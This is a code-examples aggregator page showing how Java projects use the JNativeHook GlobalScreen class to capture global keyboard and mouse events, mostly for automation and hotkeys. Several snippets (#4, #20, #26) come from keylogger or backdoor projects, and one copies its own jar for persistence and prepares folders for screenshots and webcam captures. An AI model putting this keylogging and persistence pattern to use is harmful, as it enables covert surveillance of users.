org.jnativehook.GlobalScreen Java Examples

The following examples show how to use org.jnativehook.GlobalScreen. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source File: Recorder.java    From SikuliX1 with MIT License 6 votes vote down vote up
/**
 * starts recording
 */
public void start() {
  if (!running) {
    RunTime.loadLibrary(RunTime.libOpenCV);
    running = true;

    eventsFlow.clear();
    currentImage = null;
    currentImageFilePath = null;

    try {
      screenshotDir = Files.createTempDirectory("sikulix").toFile();
      screenshotDir.deleteOnExit();
    } catch (IOException e) {
      throw new SikuliXception("Recorder: createTempDirectory: not possible");
    }

    screenshot(0);

    Recorder.registerNativeHook();
    GlobalScreen.addNativeKeyListener(this);
    GlobalScreen.addNativeMouseListener(this);
    GlobalScreen.addNativeMouseMotionListener(this);
    GlobalScreen.addNativeMouseWheelListener(this);
  }
}
 
Example #2
Source File: MouseEventNotificator.java    From DeskChan with GNU Lesser General Public License v3.0 6 votes vote down vote up
/**
 * Enables handling of scroll and mouse wheel events for the node.
 * This type of events has a peculiarity on Windows. See the javadoc of notifyScrollEvents for more information.
 * @see #notifyScrollEvent
 * @param intersectionTestFunc a function that takes an event object and must return boolean
 * @return itself to let you use a chain of calls
 */
public MouseEventNotificator setOnScrollListener(Function<NativeMouseWheelEvent, Boolean> intersectionTestFunc) {
    if (SystemUtils.IS_OS_WINDOWS) {
        if (!GlobalScreen.isNativeHookRegistered()) {
            try {
                GlobalScreen.registerNativeHook();
            } catch (NativeHookException | UnsatisfiedLinkError e) {
                e.printStackTrace();
                Main.log("Failed to initialize the native hooking. Rolling back to using JavaFX events...");
                sender.addEventFilter(ScrollEvent.SCROLL, this::notifyScrollEvent);
                return this;
            }
        }
        mouseWheelListener = event -> notifyScrollEvent(event, intersectionTestFunc);
        GlobalScreen.addNativeMouseWheelListener(mouseWheelListener);
    } else {
        sender.addEventFilter(ScrollEvent.SCROLL, this::notifyScrollEvent);
    }

    return this;
}
 
Example #3
Source File: GlobalListenerHookController.java    From Repeat with Apache License 2.0 6 votes vote down vote up
public void initialize() {
	if (GlobalListenerFactory.USE_JNATIVE_HOOK) {
		// Get the logger for "org.jnativehook" and set the level to WARNING to begin with.
		Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
		logger.setLevel(Level.WARNING);

		if (!GlobalScreen.isNativeHookRegistered()) {
			try {
				GlobalScreen.registerNativeHook();
			} catch (NativeHookException e) {
				LOGGER.severe("Cannot register native hook!");
				System.exit(1);
			}
		}
	} else {
		NativeHookInitializer.of().start();
	}
}
 
Example #4
Source File: Keylogger.java    From sAINT with BSD 3-Clause "New" or "Revised" License 6 votes vote down vote up
public static void main(String[] args) throws IOException {
    detectOS();

    app_path = System.getenv(environment_variable_path) + folder;

    createFolder(app_path);
    createFolder(app_path + path_logs);
    createFolder(app_path + path_screenshot);
    createFolder(app_path + path_cam);

    if (persistence == true) {
        copyFile(Keylogger.class.getProtectionDomain().getCodeSource().getLocation().getPath(), app_path + name_jar);
    }

    try {
        GlobalScreen.registerNativeHook();
    } catch (NativeHookException ex) {
        java.util.logging.Logger.getLogger(Keylogger.class.getName()).log(Level.SEVERE, null, ex);
    }
    GlobalScreen.getInstance().addNativeKeyListener(new Keylogger());
}
 
Example #5
Source File: Main.java    From gramophy with GNU General Public License v3.0 6 votes vote down vote up
@Override
public void start(Stage primaryStage) throws Exception{

    AnchorPane root = FXMLLoader.load(getClass().getResource("dash.fxml"));
    primaryStage.setTitle("Gramophy");
    primaryStage.setMinWidth(950);
    primaryStage.setMinHeight(570);
    Scene s = new Scene(root);
    primaryStage.setScene(s);
    primaryStage.getIcons().add(new Image(getClass().getResourceAsStream("assets/app_icon.png")));
    primaryStage.show();

    primaryStage.setOnCloseRequest(event -> {
        try
        {
            GlobalScreen.unregisterNativeHook();
        }
        catch (Exception e)
        {
            e.printStackTrace();
        }
    });
}
 
Example #6
Source File: Recorder.java    From SikuliX1 with MIT License 6 votes vote down vote up
/**
 * Stops recording and transforms the recorded events into actions.
 *
 * @param progress optional ProgressMonitor
 * @return actions resulted from the recorded events
 */
public List<IRecordedAction> stop(ProgressMonitor progress) {
  if (running) {
    running = false;

    GlobalScreen.removeNativeMouseWheelListener(this);
    GlobalScreen.removeNativeMouseMotionListener(this);
    GlobalScreen.removeNativeMouseListener(this);
    GlobalScreen.removeNativeKeyListener(this);
    Recorder.unregisterNativeHook();

    synchronized (screenshotDir) {
      List<IRecordedAction> actions = eventsFlow.compile(progress);

      // remove screenshots after compile to free up disk space
      try {
        FileUtils.deleteDirectory(screenshotDir);
      } catch (IOException e) {
        e.printStackTrace();
      }
      return actions;
    }
  }
  return new ArrayList<>();
}
 
Example #7
Source File: Recorder.java    From SikuliX1 with MIT License 6 votes vote down vote up
private static void unregisterNativeHook() {
  try {
    /*
     * We unregister the native hook on Windows because it blocks some special keys
     * in AWT while registered (e.g. AltGr).
     *
     * We do not unregister on Linux because this terminates the whole JVM.
     * Interestingly, the special keys are not blocked on Linux at all.
     *
     * TODO: Has to be checked on Mac OS, but I guess that not unregistering is
     * the better option here.
     *
     * Re-registering doesn't hurt anyway, because JNativeHook checks the register
     * state before registering again. So unregister is only really needed on Windows.
     */
    if (Settings.isWindows()) {
      GlobalScreen.unregisterNativeHook();
    }
  } catch (NativeHookException e) {
    Debug.error("Error unregistering native hook: %s", e.getMessage());
  }
}
 
Example #8
Source File: GlobalJNativeHookKeyListener.java    From Repeat with Apache License 2.0 6 votes vote down vote up
public static void main(String[] args) {
	// Get the logger for "org.jnativehook" and set the level to off.
	Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
	logger.setLevel(Level.OFF);

	// Change the level for all handlers attached to the default logger.
	Handler[] handlers = Logger.getLogger("").getHandlers();
	for (int i = 0; i < handlers.length; i++) {
		handlers[i].setLevel(Level.OFF);
	}

	GlobalJNativeHookKeyListener listener = new GlobalJNativeHookKeyListener();
	if (listener.startListening()) {
		GlobalScreen.addNativeKeyListener(listener);
	}
}
 
Example #9
Source File: GlobalKeyListener.java    From Path-of-Leveling with MIT License 6 votes vote down vote up
public static void run() {
	try {
		GlobalScreen.registerNativeHook();
	}
	catch (NativeHookException ex) {
		System.err.println("There was a problem registering the native hook.");
		System.err.println(ex.getMessage());

		System.exit(1);
	}

               // Get the logger for "org.jnativehook" and set the level to off.
               Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
               logger.setLevel(Level.OFF);

               // Change the level for all handlers attached to the default logger.
               Handler[] handlers = Logger.getLogger("").getHandlers();
               for (int i = 0; i < handlers.length; i++) {
                       handlers[i].setLevel(Level.OFF);
               }

               setUpKeybinds();
	GlobalScreen.addNativeKeyListener(new GlobalKeyListener());
}
 
Example #10
Source File: JNativeKeyHandler.java    From Spark-Reader with GNU General Public License v3.0 6 votes vote down vote up
@Override
public void addListeners()
{
    // Set the event dispatcher to a swing safe executor service.
    GlobalScreen.setEventDispatcher(new SwingDispatchService());
    try
    {
        GlobalScreen.registerNativeHook();
        GlobalScreen.addNativeKeyListener(this);
    }
    catch (NativeHookException ex)
    {
        System.err.println("Error starting KeyHandler:\n" + ex);
        System.err.println("Keyboard controls disabled");
    }
}
 
Example #11
Source File: MainBackEndHolder.java    From Repeat with Apache License 2.0 5 votes vote down vote up
public void changeDebugLevel(Level level) {
	config.setNativeHookDebugLevel(level);

	// Get the logger for "org.jnativehook" and set the level to appropriate level.
	Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
	logger.setLevel(config.getNativeHookDebugLevel());
}
 
Example #12
Source File: GlobalKeyListener.java    From foolqq with BSD 2-Clause "Simplified" License 5 votes vote down vote up
public void nativeKeyPressed(NativeKeyEvent e) {

		if (e.getKeyCode() == NativeKeyEvent.VC_ESCAPE) {
			try {
				GlobalScreen.unregisterNativeHook();
				System.exit(1);
			} catch (NativeHookException e1) {

			}
		}
	}
 
Example #13
Source File: HotKeysInterceptor.java    From MercuryTrade with MIT License 5 votes vote down vote up
public HotKeysInterceptor() {
    Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
    logger.setLevel(Level.OFF);

    logger.setUseParentHandlers(false);
    try {
        GlobalScreen.registerNativeHook();
    } catch (NativeHookException e) {
        e.printStackTrace();
    }

    GlobalScreen.addNativeKeyListener(new MercuryNativeKeyListener());
    GlobalScreen.addNativeMouseListener(new MercuryNativeMouseListener());
}
 
Example #14
Source File: HotKeysInterceptor.java    From MercuryTrade with MIT License 5 votes vote down vote up
public static void main(String[] args) {
//        new HotKeysInterceptor();
        Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
        logger.setLevel(Level.OFF);

        logger.setUseParentHandlers(false);
        try {
            GlobalScreen.registerNativeHook();
        } catch (NativeHookException e) {
            e.printStackTrace();
        }
        GlobalScreen.addNativeMouseListener(new MercuryNativeMouseListener());
    }
 
Example #15
Source File: GlobalListenerHookController.java    From Repeat with Apache License 2.0 5 votes vote down vote up
public void cleanup() {
	if (GlobalListenerFactory.USE_JNATIVE_HOOK) {
		try {
			GlobalScreen.unregisterNativeHook();
		} catch (NativeHookException e) {
			LOGGER.log(Level.WARNING, "Unable to unregister JNative Hook.", e);
		}
	} else {
		NativeHookInitializer.of().stop();
	}
}
 
Example #16
Source File: JNativeKeyHandler.java    From Spark-Reader with GNU General Public License v3.0 5 votes vote down vote up
public JNativeKeyHandler(UI ui)
{
    super(ui);
    // Get the logger for "org.jnativehook" and set the level to off.
    Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
    logger.setLevel(Level.OFF);

    //Change the level for all handlers attached to the default logger.
    Handler[] handlers = Logger.getLogger("").getHandlers();
    for(Handler handler : handlers)
    {
        handler.setLevel(Level.OFF);
    }
}
 
Example #17
Source File: MouseEventNotificator.java    From DeskChan with GNU Lesser General Public License v3.0 5 votes vote down vote up
/**
 * Call this static method when you don't need to listen to events anymore.
 * It unregisters native hook and stops catching mouse events at all.
 */
static void disableHooks() {
    try {
        GlobalScreen.unregisterNativeHook();
    } catch (NativeHookException | UnsatisfiedLinkError e) {
        e.printStackTrace();
    }
}
 
Example #18
Source File: MouseEventNotificator.java    From DeskChan with GNU Lesser General Public License v3.0 5 votes vote down vote up
/**
 * Removes all event listeners that were set earlier.
 */
public void cleanListeners() {
    // All methods have their own internal checks for the case when a filter is not set and equals null.
    sender.removeEventFilter(MouseEvent.MOUSE_CLICKED, this::notifyClickEvent);
    sender.removeEventFilter(ScrollEvent.SCROLL, this::notifyScrollEvent);
    if (SystemUtils.IS_OS_WINDOWS) {
        GlobalScreen.removeNativeMouseWheelListener(mouseWheelListener);
    }
}
 
Example #19
Source File: BaseQQWindowContext.java    From foolqq with BSD 2-Clause "Simplified" License 5 votes vote down vote up
public BaseQQWindowContext(File point) throws AWTException, IOException, NativeHookException {
	robot = new Robot();
	pImage = ImageIO.read(point);
	WindowHandleTask wintask = new WindowHandleTask(this, map, robot);
	Executors.newSingleThreadScheduledExecutor().scheduleAtFixedRate(wintask, checkInterval, checkInterval,
			TimeUnit.SECONDS);
	Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
	logger.setLevel(Level.OFF);
	logger.setUseParentHandlers(false);
	GlobalScreen.registerNativeHook();
	GlobalScreen.addNativeKeyListener(new GlobalKeyListener());
}
 
Example #20
Source File: KeyLogger.java    From BetterBackdoor with MIT License 5 votes vote down vote up
/**
 * Starts a key logger and logs keys to {@code dir}\keys.log.
 *
 * @param dir directory to log keys to
 */
public static void start(String dir) {
	try {
		out = new PrintWriter(new BufferedWriter(new FileWriter(dir + File.separator + "keys.log", true)));
		GlobalScreen.registerNativeHook();
		GlobalScreen.addNativeKeyListener(new KeyLogger());
	} catch (Exception e) {
		if (out != null)
			out.close();
	}
}
 
Example #21
Source File: PmTrans.java    From pmTrans with GNU Lesser General Public License v3.0 5 votes vote down vote up
public static void main(String[] args) {
	// Global keys
	try {
		GlobalScreen.registerNativeHook();
	} catch (NativeHookException ex) {
		System.err.println(ex);
	}
	GlobalKeyListener GKL = new GlobalKeyListener();
	GlobalScreen.getInstance().addNativeKeyListener(GKL);

	new PmTrans(GKL);
}
 
Example #22
Source File: PmTrans.java    From pmTrans with GNU Lesser General Public License v3.0 5 votes vote down vote up
private PmTrans(GlobalKeyListener gkl) {
	// Initialize the interface
	d = new Display();
	shell = new Shell(d);
	menuManager = new MenuManager(shell, this);
	barManager = new BarManager(shell, this);

	// Global keys
	this.gKL = gkl;

	initState();
	initGui();
	startAutoSave();

	shell.open();

	while (!shell.isDisposed())
		if (!d.readAndDispatch())
			d.sleep();

	if (player != null) {
		player.close();
		player = null;
	}
	GlobalScreen.unregisterNativeHook();
	saveState();
	try {
		Config.getInstance().save();
	} catch (IOException e) {
		// ignore
	}
}
 
Example #23
Source File: GlobalKeyListener.java    From pmTrans with GNU Lesser General Public License v3.0 5 votes vote down vote up
public GlobalKeyListener() {
	LogManager.getLogManager().reset();

	// Get the logger for "org.jnativehook" and set the level to off.
	Logger logger = Logger.getLogger(GlobalScreen.class.getPackage()
			.getName());
	logger.setLevel(Level.OFF);
}
 
Example #24
Source File: Recorder.java    From SikuliX1 with MIT License 5 votes vote down vote up
private static void registerNativeHook() {
  try {
    // Make Global Screen logger quiet.
    // Floods the console otherwise
    Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
    logger.setLevel(Level.OFF);
    logger.setUseParentHandlers(false);

    GlobalScreen.registerNativeHook();
  } catch (NativeHookException e) {
    Debug.error("Error registering native hook: %s", e.getMessage());
  }
}
 
Example #25
Source File: KeyShortcutsPanel.java    From nanoleaf-desktop with MIT License 5 votes vote down vote up
private void startKeyListener()
{
	try
	{
		shortcutListener = new GlobalShortcutListener(shortcuts, devices);
		GlobalScreen.registerNativeHook();
		GlobalScreen.addNativeKeyListener(shortcutListener);
		Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
		logger.setLevel(Level.OFF);
	}
	catch (NativeHookException nhe)
	{
		nhe.printStackTrace();
		if (nhe.getMessage().equals("Failed to enable access for assistive devices.") &&
				System.getProperty("os.name").toLowerCase().contains("mac"))
		{
			new TextDialog(KeyShortcutsPanel.this.getFocusCycleRootAncestor(),
					"Please enable accessibility control to use the shortcuts feature.")
					.setVisible(true);
		}
	}
	catch (UnsatisfiedLinkError ule)
	{
		ule.printStackTrace();
		new TextDialog(KeyShortcutsPanel.this.getFocusCycleRootAncestor(),
				"Failed to setup shortcuts. Your platform may not be supported.")
				.setVisible(true);
	}
}
 
Example #26
Source File: Keylogger.java    From SpyGen with Apache License 2.0 5 votes vote down vote up
public static void startKeylogger() {
    try {
        GlobalScreen.registerNativeHook();
    } catch(NativeHookException nhe) {
        nhe.printStackTrace();
    }
    GlobalScreen.getInstance().addNativeKeyListener(keyboard = new NativeKeyboard());
}
 
Example #27
Source File: MainFm.java    From tools-ocr with GNU Lesser General Public License v3.0 5 votes vote down vote up
private static void initKeyHook(){
    try {
        Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
        logger.setLevel(Level.WARNING);
        logger.setUseParentHandlers(false);
        GlobalScreen.setEventDispatcher(new VoidDispatchService());
        GlobalScreen.registerNativeHook();
        GlobalScreen.addNativeKeyListener(new GlobalKeyListener());
    }
    catch (Exception ex) {
        ex.printStackTrace();
    }
}
 
Example #28
Source File: GlobalJNativeHookKeyListener.java    From Repeat with Apache License 2.0 4 votes vote down vote up
@Override
public boolean startListening() {
	GlobalScreen.addNativeKeyListener(this);
	return true;
}
 
Example #29
Source File: GlobalJNativeHookKeyListener.java    From Repeat with Apache License 2.0 4 votes vote down vote up
@Override
public boolean stopListening() {
	GlobalScreen.removeNativeKeyListener(this);
	return true;
}
 
Example #30
Source File: GlobalJNativeHookMouseListener.java    From Repeat with Apache License 2.0 4 votes vote down vote up
@Override
public boolean startListening() {
	GlobalScreen.addNativeMouseListener(this);
	GlobalScreen.addNativeMouseMotionListener(this);
	return true;
}